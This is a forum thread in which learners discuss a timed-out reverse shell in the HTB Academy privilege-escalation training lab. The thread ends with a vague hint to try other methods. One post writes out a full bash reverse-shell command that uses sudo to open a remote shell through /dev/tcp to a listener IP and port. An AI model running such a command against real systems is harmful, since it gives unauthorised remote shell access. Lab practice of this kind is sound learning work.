HTB Academy Getting Stated: Privilege Escalation - Can't send bash reverse shell

As the title says I can’t send a bash reverse shell back to me from the target machine. I’ve logged into the machine through ssh successfully but when I tried to create the bash reverse shell the following message pops up:

sudo -u user2 bash -i >& /dev/tcp/10.81.0.4/12345 0>&1
bash: connect: Connection timed out
bash: /dev/tcp/10.81.0.4/12345: Connection timed out

The IP address and port in the reverse shell is definitely correct and I have netcat listening to the port 12345 on my machine.

I though this was a problem on my end so I nmap port 12345 on my machine and netcat caught it, so its definitely a problem on the target machine. Is this suppose to happen? Because I feel like this is the way I’m suppose to it.

Never mind I figured it out

I realize this post has been dead for a while, but what was your solution? I’m stuck at the same problem. connection just timing out on the reverse shell… would love some push in the right direction here.

after racking my head some more and figuring out where I got lost, all I can say is don’t get stuck on one method haha.